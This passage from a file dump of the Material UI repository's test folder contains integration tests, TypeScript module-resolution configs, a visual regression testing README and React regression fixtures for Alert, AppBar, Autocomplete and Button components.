});\n});\n"
  },
  {
    "path": "test/integration/mui-system/styleFunctionSx.test.js",
    "content": "import { expect } from 'chai';\nimport styleFunctionSx from '@mui/system/styleFunctionSx';\nimport {\n  private_createMixins as createMixins,\n  private_createTypography as createTypography,\n} from '@mui/material/styles';\nimport { private_createBreakpoints as createBreakpoints } from '@mui/system/createTheme';\n\ndescribe('styleFunctionSx', () => {\n  describe('breakpoints', () => {\n    it('writes breakpoints in correct order if default toolbar mixin is present in theme', () => {\n      const breakpoints = createBreakpoints({});\n      const result = styleFunctionSx({\n        theme: {\n          mixins: createMixins(breakpoints),\n          breakpoints,\n        },\n        sx: (themeParam) => themeParam.mixins.toolbar,\n      });\n\n      // Test the order\n      expect(Object.keys(result)).to.deep.equal([\n        '@media (min-width:0px)',\n        '@media (min-width:600px)',\n        'minHeight',\n      ]);\n    });\n  });\n\n  it('resolves inherit typography properties', () => {\n    const result = styleFunctionSx({\n      theme: { typography: createTypography({}, {}) },\n      sx: {\n        fontFamily: 'inherit',\n        fontWeight: 'inherit',\n        fontSize: 'inherit',\n        lineHeight: 'inherit',\n        letterSpacing: 'inherit',\n      },\n    });\n\n    expect(result).deep.equal({\n      fontFamily: 'inherit',\n      fontWeight: 'inherit',\n      fontSize: 'inherit',\n      lineHeight: 'inherit',\n      letterSpacing: 'inherit',\n    });\n  });\n\n  it('resolves theme typography properties', () => {\n    const result = styleFunctionSx({\n      theme: { typography: createTypography({}, {}) },\n      sx: {\n        fontFamily: 'default',\n        fontWeight: 'fontWeightMedium',\n        fontSize: 'fontSize',\n      },\n    });\n\n    expect(result).deep.equal({\n      fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      fontWeight: 500,\n      fontSize: 14,\n    });\n  });\n});\n"
  },
  {
    "path": "test/integration/mui-system/theme-scoping.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport { ThemeContext } from '@mui/styled-engine';\nimport * as material from '@mui/material';\n\n// simulate 3rd-party library like Theme-UI, Chakra-UI, or Mantine\ninterface LibTheme {\n  palette: { brand: string };\n  vars: { palette: { brand: string } };\n}\nfunction LibThemeProvider({ children }: React.PropsWithChildren<{}>) {\n  const theme = React.useMemo<LibTheme>(\n    () => ({ palette: { brand: '#ff5252' }, vars: { palette: { brand: 'var(--palette-brand)' } } }),\n    [],\n  );\n  return <ThemeContext.Provider value={theme}>{children}</ThemeContext.Provider>;\n}\n\nfunction LibComponent() {\n  const theme = React.useContext(ThemeContext as unknown as React.Context<LibTheme>);\n  return <div style={{ color: theme.palette.brand }} />;\n}\n\nconst materialTheme = material.createTheme({\n  components: {\n    MuiButton: {\n      defaultProps: {\n        variant: 'outlined',\n      },\n      styleOverrides: {\n        root: ({ theme }) => ({\n          color: theme.palette.text.primary,\n          mixBlendMode: 'darken',\n        }),\n      },\n    },\n  },\n});\nconst CustomMaterial = material.styled('div')(({ theme }) => ({\n  borderRadius: theme.shape.borderRadius,\n}));\n\ndescribe('Multiple nested theme providers', () => {\n  const { render } = createRenderer();\n  let originalMatchmedia: any;\n  let storage: Record<string, string> = {};\n  const createMatchMedia = (matches: boolean) => () => ({\n    matches,\n    // Keep mocking legacy methods because @mui/material v5 still uses them\n    addListener: () => {},\n    addEventListener: () => {},\n    removeListener: () => {},\n    removeEventListener: () => {},\n  });\n\n  beforeEach(() => {\n    originalMatchmedia = window.matchMedia;\n\n    // Create mocks of localStorage getItem and setItem functions\n    Object.defineProperty(globalThis, 'localStorage', {\n      value: {\n        getItem: spy((key) => storage[key]),\n        setItem: spy((key, value) => {\n          storage[key] = value;\n        }),\n      },\n      configurable: true,\n    });\n\n    // clear the localstorage\n    storage = {};\n    window.matchMedia = createMatchMedia(false) as unknown as typeof window.matchMedia;\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  it('Material UI works with 3rd-party lib', () => {\n    render(\n      <LibThemeProvider>\n        <material.ThemeProvider theme={{ [material.THEME_ID]: materialTheme }}>\n          <material.Button>Material</material.Button>\n          <CustomMaterial /> {/* styled() should work with theme scoping */}\n          <LibComponent />{' '}\n          {/* still able to render even though it is wrapped in Material UI ThemeProvider */}\n        </material.ThemeProvider>\n      </LibThemeProvider>,\n    );\n\n    expect(screen.getByText('Material')).to.have.class(material.buttonClasses.outlined);\n    expect(screen.getByText('Material')).to.have.class(material.buttonClasses.colorPrimary);\n  });\n});\n"
  },
  {
    "path": "test/moduleResolution/README",
    "content": "# TypeScript `moduleResolution` Tests\n\nThis suite uses workspace linking to resolve build folders and runs the TypeScript compiler with various `moduleResolution` settings.\n\nYou can only run `pnpm typescript:all` after the project has been built with `pnpm release:build`.\n"
  },
  {
    "path": "test/moduleResolution/package.json",
    "content": "{\n  \"name\": \"@mui-internal/test-module-resolution\",\n  \"private\": true,\n  \"scripts\": {\n    \"typescript:all\": \"pnpm typescript:node && pnpm typescript:node16\",\n    \"typescript:node\": \"tsc -p tsconfig.node.json\",\n    \"typescript:node16\": \"tsc -p tsconfig.node16.json\"\n  },\n  \"devDependencies\": {},\n  \"dependencies\": {\n    \"@mui/icons-material\": \"workspace:^\",\n    \"@mui/material\": \"workspace:^\"\n  }\n}\n"
  },
  {
    "path": "test/moduleResolution/src/Test.tsx",
    "content": "import * as React from 'react';\nimport { AccessAlarm } from '@mui/icons-material';\nimport AccessAlarmOutlined from '@mui/icons-material/AccessAlarmOutlined';\n\nexport default function Test() {\n  return (\n    <React.Fragment>\n      <AccessAlarm />\n      <AccessAlarmOutlined />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/moduleResolution/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    // rely on workspace linking\n    \"paths\": {},\n    \"target\": \"es5\",\n    \"lib\": [\"es6\", \"dom\"],\n    \"jsx\": \"react\",\n    \"module\": \"nodenext\",\n    \"moduleResolution\": \"nodenext\",\n    \"strict\": true,\n    \"noEmit\": true,\n    \"noErrorTruncation\": true,\n    \"rootDir\": \"./src\",\n    \"skipLibCheck\": true,\n    \"types\": []\n  },\n  \"exclude\": [\"**/node_modules/\"]\n}\n"
  },
  {
    "path": "test/moduleResolution/tsconfig.node.json",
    "content": "{\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    // <ts@next uncomment> \"ignoreDeprecations\": \"6.0\",\n    \"module\": \"commonjs\",\n    // This will stop functioning under typescript 7.0. We can probably just remove this test by then\n    \"moduleResolution\": \"node\"\n  }\n}\n"
  },
  {
    "path": "test/moduleResolution/tsconfig.node16.json",
    "content": "{\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"node16\",\n    \"moduleResolution\": \"node16\"\n  }\n}\n"
  },
  {
    "path": "test/package.json",
    "content": "{\n  \"name\": \"@mui-internal/tests\",\n  \"private\": true,\n  \"scripts\": {\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"devDependencies\": {\n    \"@babel/runtime\": \"7.29.2\",\n    \"@emotion/cache\": \"11.14.0\",\n    \"@emotion/react\": \"11.14.0\",\n    \"@mui/base\": \"5.0.0-beta.70\",\n    \"@mui/icons-material\": \"workspace:^\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/material\": \"workspace:^\",\n    \"@mui/stylis-plugin-rtl\": \"workspace:^\",\n    \"@mui/system\": \"workspace:^\",\n    \"@mui/utils\": \"workspace:^\",\n    \"@testing-library/dom\": \"10.4.1\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/react-is\": \"19.2.0\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"docs\": \"workspace:^\",\n    \"es-toolkit\": \"1.45.1\",\n    \"fast-glob\": \"3.3.3\",\n    \"html-webpack-plugin\": \"5.6.6\",\n    \"prop-types\": \"15.8.1\",\n    \"react\": \"19.2.4\",\n    \"react-dom\": \"19.2.4\",\n    \"react-is\": \"19.2.4\",\n    \"react-router\": \"7.13.2\",\n    \"react-window\": \"2.2.7\",\n    \"sinon\": \"21.0.3\",\n    \"styled-components\": \"6.3.12\",\n    \"stylis\": \"4.3.6\",\n    \"webfontloader\": \"1.6.28\",\n    \"webpack\": \"5.105.4\",\n    \"yargs\": \"17.7.2\"\n  },\n  \"dependencies\": {\n    \"@react-spring/web\": \"^10.0.3\"\n  }\n}\n"
  },
  {
    "path": "test/regressions/README.md",
    "content": "# Visual regression testing\n\nVisual regression tests are split into two parts:\n\n1. The rendered UI (short: fixture)\n2. Instrumentation of that UI\n\n## Rendered UI\n\nThe composition of all tests happens in `./index.js`.\nThe rendered UI is either:\n\n1. located inside a separate file in `./fixtures` and written as a React component.\n\n   Here is an [example](https://github.com/mui/material-ui/blob/814fb60bbd8e500517b2307b6a297a638838ca89/test/regressions/tests/Menu/SimpleMenuList.js#L6-L16) with the `Menu` component.\n\n2. a demo from `docs/data`\n\n   By default all demos are included.\n   We exclude demos if they are redundant or flaky etc.\n   The logic for this exclusion is handled (like the composition) in `./index.js`\n\nIf you introduce new behavior, prefer adding a demo to the documentation to solve documentation and testing with one file.\nIf you're adding a new test prefer a new component instead of editing existing files since that might unknowingly alter existing tests.\n\n## Instrumentation\n\n### Manual\n\n`pnpm test:regressions:dev` will build all fixtures and render an overview page that lists all fixtures.\nThis can be used to debug individual fixtures.\nBy default, a devtools-like view is shown that can be disabled by appending `#no-dev` to the URL, for example `http://localhost:5001/docs-customization-typography/CustomResponsiveFontSizes#no-dev` or forced by appending `#dev` to the URL, for example `http://localhost:5001/docs-customization-typography/CustomResponsiveFontSizes#dev`.\n\n### Automatic\n\nWe're using [`playwright`](https://playwright.dev) to iterate over each fixture and take a screenshot.\nIt allows catching regressions like this one:\n\n![before](/test/docs-regressions-before.png)\n![diff](/test/docs-regressions-diff.png)\n\nScreenshots are saved in `./screenshots/$BROWSER_NAME/`.\nEach test tests only a single fixture.\nA fixture can be loaded with `await renderFixture(fixturePath)`, for example `renderFixture('FocusTrap/OpenFocusTrap')`.\n\n## Commands\n\nFor development `pnpm test:regressions:dev` and `pnpm test:regressions:run --watch` in separate terminals is recommended.\n\n| command                        | description                                                                                                           |\n| :----------------------------- | :-------------------------------------------------------------------------------------------------------------------- |\n| `pnpm test:regressions`        | Full run                                                                                                              |\n| `pnpm test:regressions:dev`    | Prepares the fixtures to be able to test in watchmode                                                                 |\n| `pnpm test:regressions:run`    | Runs the tests (requires `pnpm test:regressions:dev` or `pnpm test:regressions:build`+`pnpm test:regressions:server`) |\n| `pnpm test:regressions:build`  | Builds the vite bundle for viewing the fixtures                                                                       |\n| `pnpm test:regressions:server` | Serves the fixture bundle.                                                                                            |\n"
  },
  {
    "path": "test/regressions/TestViewer.jsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nfunction TestViewer(props) {\n  const { children, path } = props;\n\n  // We're simulating `act(() => ReactDOM.render(children))`\n  // In the end children passive effects should've been flushed.\n  // React doesn't have any such guarantee outside of `act()` so we're approximating it.\n  const [ready, setReady] = React.useState(false);\n  React.useEffect(() => {\n    function handleFontsEvent(event) {\n      if (event.type === 'loading') {\n        setReady(false);\n      } else if (event.type === 'loadingdone') {\n        // Don't know if there could be multiple loaded events after we started loading multiple times.\n        // So make sure we're only ready if fonts are actually ready.\n        if (document.fonts.status === 'loaded') {\n          setReady(true);\n        }\n      }\n    }\n\n    document.fonts.addEventListener('loading', handleFontsEvent);\n    document.fonts.addEventListener('loadingdone', handleFontsEvent);\n\n    // In case the child triggered font fetching we're not ready yet.\n    // The fonts event handler will mark the test as ready on `loadingdone`\n    if (document.fonts.status === 'loaded') {\n      setReady(true);\n    }\n\n    return () => {\n      document.fonts.removeEventListener('loading', handleFontsEvent);\n      document.fonts.removeEventListener('loadingdone', handleFontsEvent);\n    };\n  }, []);\n\n  const viewerBoxSx = {\n    display: 'block',\n    p: 1,\n  };\n\n  return (\n    <React.Fragment>\n      <GlobalStyles\n        styles={{\n          html: {\n            WebkitFontSmoothing: 'antialiased', // Antialiasing.\n            MozOsxFontSmoothing: 'grayscale', // Antialiasing.\n            // Do the opposite of the docs in order to help catching issues.\n            boxSizing: 'content-box',\n          },\n          '*, *::before, *::after': {\n            boxSizing: 'inherit',\n            // Disable transitions to avoid flaky screenshots\n            transition: 'none !important',\n            animation: 'none !important',\n          },\n          body: {\n            margin: 0,\n            overflowX: 'hidden',\n          },\n        }}\n      />\n      {\n        <Box\n          aria-busy={!ready}\n          data-testid=\"testcase\"\n          data-testpath={path}\n          sx={{ bgcolor: 'background.default', ...viewerBoxSx }}\n        >\n          {children}\n        </Box>\n      }\n    </React.Fragment>\n  );\n}\n\nTestViewer.propTypes = {\n  children: PropTypes.node.isRequired,\n  path: PropTypes.string.isRequired,\n};\n\nexport default TestViewer;\n"
  },
  {
    "path": "test/regressions/fixtures/Alert/HorizontalOverflow.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport Alert from '@mui/material/Alert';\nimport { Box } from '@mui/material';\n\nexport default function MultilineAlertWithAction() {\n  return (\n    <Box sx={{ width: 500 }}>\n      <Alert\n        action={\n          <Button color=\"inherit\" size=\"small\">\n            UNDO\n          </Button>\n        }\n      >\n        <Typography as=\"div\">{'a'.repeat(500)}</Typography>\n      </Alert>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Alert/MultilineAlertWithAction.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport Alert from '@mui/material/Alert';\n\nexport default function MultilineAlertWithAction() {\n  return (\n    <Alert\n      action={\n        <Button color=\"inherit\" size=\"small\">\n          UNDO\n        </Button>\n      }\n    >\n      <Typography as=\"div\">This is the first line.</Typography>\n      <Typography as=\"div\">This is the second line.</Typography>\n    </Alert>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/AppBar/AppBarColorTransparent.js",
    "content": "import * as React from 'react';\nimport { AppBar, Typography } from '@mui/material';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n\nexport default function Demo() {\n  return (\n    <div style={{ backgroundColor: '#ffefd5' }}>\n      <AppBar position=\"static\">\n        <Typography>Light | Default</Typography>\n      </AppBar>\n      <ThemeProvider theme={darkTheme}>\n        <AppBar position=\"static\">\n          <Typography>Dark | Default</Typography>\n        </AppBar>\n      </ThemeProvider>\n      <AppBar position=\"static\" color=\"transparent\">\n        <Typography>Light | Transparent</Typography>\n      </AppBar>\n      <ThemeProvider theme={darkTheme}>\n        <AppBar position=\"static\" color=\"transparent\">\n          <Typography>Dark | Transparent</Typography>\n        </AppBar>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Autocomplete/FilledHiddenLabelAutoComplete.js",
    "content": "import * as React from 'react';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nexport default function Demo() {\n  return (\n    <div style={{ width: 300 }}>\n      <Autocomplete\n        options={[]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            hiddenLabel\n            placeholder=\"Filled variant with hiddenLabel\"\n          />\n        )}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Autocomplete/SizeSmallValueOverflow.js",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Chip from '@mui/material/Chip';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nconst movies = [\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n];\n\nexport default function Sizes() {\n  return (\n    <Stack spacing={2} sx={{ width: 300 }}>\n      <Autocomplete\n        id=\"size-small-outlined\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={movies[0]}\n        disableClearable\n        renderInput={(params) => <TextField {...params} label=\"Movie\" placeholder=\"Favorites\" />}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-outlined-multi\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[movies[0]]}\n        disableClearable\n        renderInput={(params) => <TextField {...params} label=\"Movie\" placeholder=\"Favorites\" />}\n      />\n      <Autocomplete\n        id=\"size-small-outlined\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={movies[0]}\n        renderInput={(params) => <TextField {...params} label=\"Movie\" placeholder=\"Favorites\" />}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-outlined-multi\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[movies[0]]}\n        renderInput={(params) => <TextField {...params} label=\"Movie\" placeholder=\"Favorites\" />}\n      />\n      <Autocomplete\n        id=\"size-small-standard\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={movies[0]}\n        disableClearable\n        renderInput={(params) => (\n          <TextField {...params} variant=\"standard\" label=\"Movies\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-standard-multi\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[movies[0]]}\n        disableClearable\n        renderInput={(params) => (\n          <TextField {...params} variant=\"standard\" label=\"Movies\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        id=\"size-small-filled\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={movies[0]}\n        disableClearable\n        renderInput={(params) => (\n          <TextField {...params} variant=\"filled\" label=\"Movies\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-filled-multi\"\n        size=\"small\"\n        options={movies}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[movies[0]]}\n        disableClearable\n        renderTags={(value, getTagProps) =>\n          value.map((option, index) => {\n            const { key, ...other } = getTagProps({ index });\n            return (\n              <Chip key={key} variant=\"outlined\" label={option.title} size=\"small\" {...other} />\n            );\n          })\n        }\n        renderInput={(params) => (\n          <TextField {...params} variant=\"filled\" label=\"Movies\" placeholder=\"Favorites\" />\n        )}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Autocomplete/SmallAutocompleteWithStartAdornment.js",
    "content": "import * as React from 'react';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport TextField from '@mui/material/TextField';\n\nconst movies = [\n  {\n    label: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n];\n\nexport default function SmallAutocompleteWithStartAdornment() {\n  return (\n    <Autocomplete\n      options={movies}\n      value={movies[0]}\n      sx={{ width: 120, mt: 2 }}\n      renderInput={(params) => (\n        <TextField\n          {...params}\n          label=\"Autocomplete\"\n          slotProps={{\n            ...params.slotProps,\n            input: {\n              ...params.slotProps.input,\n              startAdornment: (\n                <SvgIcon>\n                  <svg\n                    xmlns=\"http://www.w3.org/2000/svg\"\n                    fill=\"none\"\n                    viewBox=\"0 0 24 24\"\n                    strokeWidth={1.5}\n                    stroke=\"currentColor\"\n                  >\n                    <path\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      d=\"M4.5 12a7.5 7.5 0 0015 0m-15 0a7.5 7.5 0 1115 0m-15 0H3m16.5 0H21m-1.5 0H12m-8.457 3.077l1.41-.513m14.095-5.13l1.41-.513M5.106 17.785l1.15-.964m11.49-9.642l1.149-.964M7.501 19.795l.75-1.3m7.5-12.99l.75-1.3m-6.063 16.658l.26-1.477m2.605-14.772l.26-1.477m0 17.726l-.26-1.477M10.698 4.614l-.26-1.477M16.5 19.794l-.75-1.299M7.5 4.205L12 12m6.894 5.785l-1.149-.964M6.256 7.178l-1.15-.964m15.352 8.864l-1.41-.513M4.954 9.435l-1.41-.514M12.002 12l-3.75 6.495\"\n                    />\n                  </svg>\n                </SvgIcon>\n              ),\n            },\n          }}\n        />\n      )}\n    />\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Autocomplete/StandardAutocomplete.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function StandardAutocomplete() {\n  return (\n    <div style={{ width: 300 }}>\n      <Autocomplete\n        options={[]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"Standard autocomplete\" variant=\"standard\" />\n        )}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Autocomplete/TextboxExpandsOnListboxOpen.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function StandardAutocomplete() {\n  return (\n    <div style={{ height: 220 }}>\n      <Autocomplete\n        multiple\n        limitTags={2}\n        options={['One', 'Two', 'Three']}\n        defaultValue={['One', 'Two', 'Three']}\n        renderInput={(params) => <TextField {...params} />}\n        sx={{ width: 300 }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Autocomplete/Virtualize.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Popper from '@mui/material/Popper';\nimport { useTheme, styled } from '@mui/material/styles';\nimport { List, useListRef } from 'react-window';\nimport Typography from '@mui/material/Typography';\n\nconst LISTBOX_PADDING = 8; // px\n\nfunction RowComponent({ index, itemData, style }) {\n  const dataSet = itemData[index];\n  const inlineStyle = {\n    ...style,\n    top: (style.top ?? 0) + LISTBOX_PADDING,\n  };\n\n  if ('group' in dataSet) {\n    return (\n      <ListSubheader key={dataSet.key} component=\"div\" style={inlineStyle}>\n        {dataSet.group}\n      </ListSubheader>\n    );\n  }\n\n  const { key, ...optionProps } = dataSet[0];\n\n  return (\n    <Typography key={key} component=\"li\" {...optionProps} noWrap style={inlineStyle}>\n      {`#${dataSet[2] + 1} - ${dataSet[1]}`}\n    </Typography>\n  );\n}\n\n// Adapter for react-window v2\n\nRowComponent.propTypes = {\n  index: PropTypes.number.isRequired,\n  itemData: PropTypes.arrayOf(\n    PropTypes.oneOfType([\n      PropTypes.arrayOf(\n        PropTypes.oneOfType([PropTypes.element, PropTypes.number, PropTypes.string]).isRequired,\n      ),\n      PropTypes.shape({\n        children: PropTypes.node,\n        group: PropTypes.string.isRequired,\n        key: PropTypes.number.isRequired,\n      }),\n    ]).isRequired,\n  ).isRequired,\n  style: PropTypes.object.isRequired,\n};\n\nconst ListboxComponent = React.forwardRef(function ListboxComponent(props, ref) {\n  const { children, internalListRef, onItemsBuilt, ...other } = props;\n  const itemData = [];\n  const optionIndexMap = React.useMemo(() => new Map(), []);\n\n  children.forEach((item) => {\n    itemData.push(item);\n    if ('children' in item && Array.isArray(item.children)) {\n      itemData.push(...item.children);\n    }\n  });\n\n  // Map option values to their indices in the flattened array\n  itemData.forEach((item, index) => {\n    if (Array.isArray(item) && item[1]) {\n      optionIndexMap.set(item[1], index);\n    }\n  });\n\n  React.useEffect(() => {\n    if (onItemsBuilt) {\n      onItemsBuilt(optionIndexMap);\n    }\n  }, [onItemsBuilt, optionIndexMap]);\n\n  const theme = useTheme();\n  const smUp = useMediaQuery(theme.breakpoints.up('sm'), {\n    noSsr: true,\n  });\n  const itemCount = itemData.length;\n  const itemSize = smUp ? 36 : 48;\n\n  const getChildSize = (child) => {\n    if (child.hasOwnProperty('group')) {\n      return 48;\n    }\n    return itemSize;\n  };\n\n  const getHeight = () => {\n    if (itemCount > 8) {\n      return 8 * itemSize;\n    }\n    return itemData.map(getChildSize).reduce((a, b) => a + b, 0);\n  };\n\n  // Separate className for List, other props for wrapper div (ARIA, handlers)\n  const { className, style, ...otherProps } = other;\n\n  return (\n    <div ref={ref} {...otherProps}>\n      <List\n        className={className}\n        listRef={internalListRef}\n        key={itemCount}\n        rowCount={itemCount}\n        rowHeight={(index) => getChildSize(itemData[index])}\n        rowComponent={RowComponent}\n        rowProps={{ itemData }}\n        style={{\n          height: getHeight() + 2 * LISTBOX_PADDING,\n          width: '100%',\n        }}\n        overscanCount={5}\n        tagName=\"ul\"\n      />\n    </div>\n  );\n});\n\nListboxComponent.propTypes = {\n  children: PropTypes.node,\n  className: PropTypes.string,\n  internalListRef: PropTypes.oneOfType([\n    PropTypes.func,\n    PropTypes.shape({\n      current: PropTypes.shape({\n        element: PropTypes.object,\n        scrollToRow: PropTypes.func.isRequired,\n      }),\n    }),\n  ]),\n  onItemsBuilt: PropTypes.func.isRequired,\n  style: PropTypes.object,\n};\n\nconst StyledPopper = styled(Popper)({\n  [`& .${autocompleteClasses.listbox}`]: {\n    boxSizing: 'border-box',\n    '& ul': {\n      padding: 0,\n      margin: 0,\n    },\n  },\n});\n\nconst characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\nconst OPTIONS = [...Array(100).keys()]\n  .map(\n    (number) =>\n      `${characters[number % characters.length].repeat(10)}${Math.floor(number / characters.length)}`,\n  )\n  .sort((a, b) => a.toUpperCase().localeCompare(b.toUpperCase()));\n\nexport default function Virtualize() {\n  // Use react-window v2's useListRef hook for imperative API access\n  const internalListRef = useListRef(null);\n  const optionIndexMapRef = React.useRef(new Map());\n\n  const handleItemsBuilt = React.useCallback((optionIndexMap) => {\n    optionIndexMapRef.current = optionIndexMap;\n  }, []);\n\n  // Handle keyboard navigation by scrolling to highlighted option\n  const handleHighlightChange = (event, option) => {\n    if (option && internalListRef.current) {\n      const index = optionIndexMapRef.current.get(option);\n      if (index !== undefined) {\n        internalListRef.current.scrollToRow({ index, align: 'auto' });\n      }\n    }\n  };\n\n  return (\n    <div style={{ height: 400 }}>\n      <Autocomplete\n        disableCloseOnSelect\n        sx={{ width: 300 }}\n        disableListWrap\n        options={OPTIONS}\n        groupBy={(option) => option[0].toUpperCase()}\n        renderInput={(params) => <TextField {...params} label=\"100 options\" />}\n        renderOption={(props, option, state) => [props, option, state.index]}\n        renderGroup={(params) => params}\n        onHighlightChange={handleHighlightChange}\n        slots={{\n          popper: StyledPopper,\n        }}\n        slotProps={{\n          listbox: {\n            component: ListboxComponent,\n            internalListRef,\n            onItemsBuilt: handleItemsBuilt,\n          },\n        }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Button/EmotionCompat.js",
    "content": "import * as React from 'react';\nimport { ClassNames } from '@emotion/react';\nimport Button from '@mui/material/Button';\n\nexport default function EmotionCompat() {\n  return (\n    <ClassNames>\n      {({ css }) => (\n        <React.Fragment>\n          <Button color=\"primary\" classes={{ root: css({ color: 'pink' }) }}>\n            This text should be pink\n          </Button>\n          <Button\n            color=\"primary\"\n            className={css({ color: 'red' })}\n            classes={{ root: css({ color: 'pink' }) }}\n          >\n            This text should be red\n          </Button>\n          <Button color=\"primary\" classes={{ text: css({ color: 'pink' }) }}>\n            This text should be pink\n          </Button>\n        </React.Fragment>\n      )}\n    </ClassNames>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Button/FontSvgIcons.js",
    "content": "import * as React from 'react';\nimport Fab from '@mui/material/Fab';\nimport IconButton from '@mui/material/IconButton';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport Icon from '@mui/material/Icon';\n\nexport default function FontSvgIcons() {\n  return (\n    <div>\n      <Fab color=\"primary\">\n        <DeleteIcon />\n      </Fab>\n      <Fab color=\"primary\">\n        <Icon>delete_icon</Icon>\n      </Fab>\n      <IconButton>\n        <DeleteIcon />\n      </IconButton>\n      <IconButton>\n        <Icon>delete_icon</Icon>\n      </IconButton>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Button/FullWidthLoadingButtons.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport SaveIcon from '@mui/icons-material/Save';\nimport SendIcon from '@mui/icons-material/Send';\n\nexport default function FullWidthLoadingButtonsTransition() {\n  const [loading, setLoading] = React.useState(true);\n  function handleClick() {\n    setLoading(true);\n  }\n\n  return (\n    <div>\n      <FormControlLabel\n        sx={{\n          display: 'block',\n        }}\n        control={\n          <Switch\n            checked={loading}\n            onChange={() => setLoading(!loading)}\n            name=\"loading\"\n            color=\"primary\"\n          />\n        }\n        label=\"Loading\"\n      />\n      <Button onClick={handleClick} loading={loading} variant=\"outlined\" fullWidth>\n        Fetch data\n      </Button>\n      <Button\n        onClick={handleClick}\n        endIcon={<SendIcon />}\n        loading={loading}\n        loadingPosition=\"end\"\n        variant=\"contained\"\n        fullWidth\n      >\n        Send\n      </Button>\n      <Button\n        color=\"secondary\"\n        onClick={handleClick}\n        loading={loading}\n        loadingPosition=\"start\"\n        startIcon={<SaveIcon />}\n        variant=\"contained\"\n        fullWidth\n      >\n        Save\n      </Button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Button/IconLabelButtons.js",
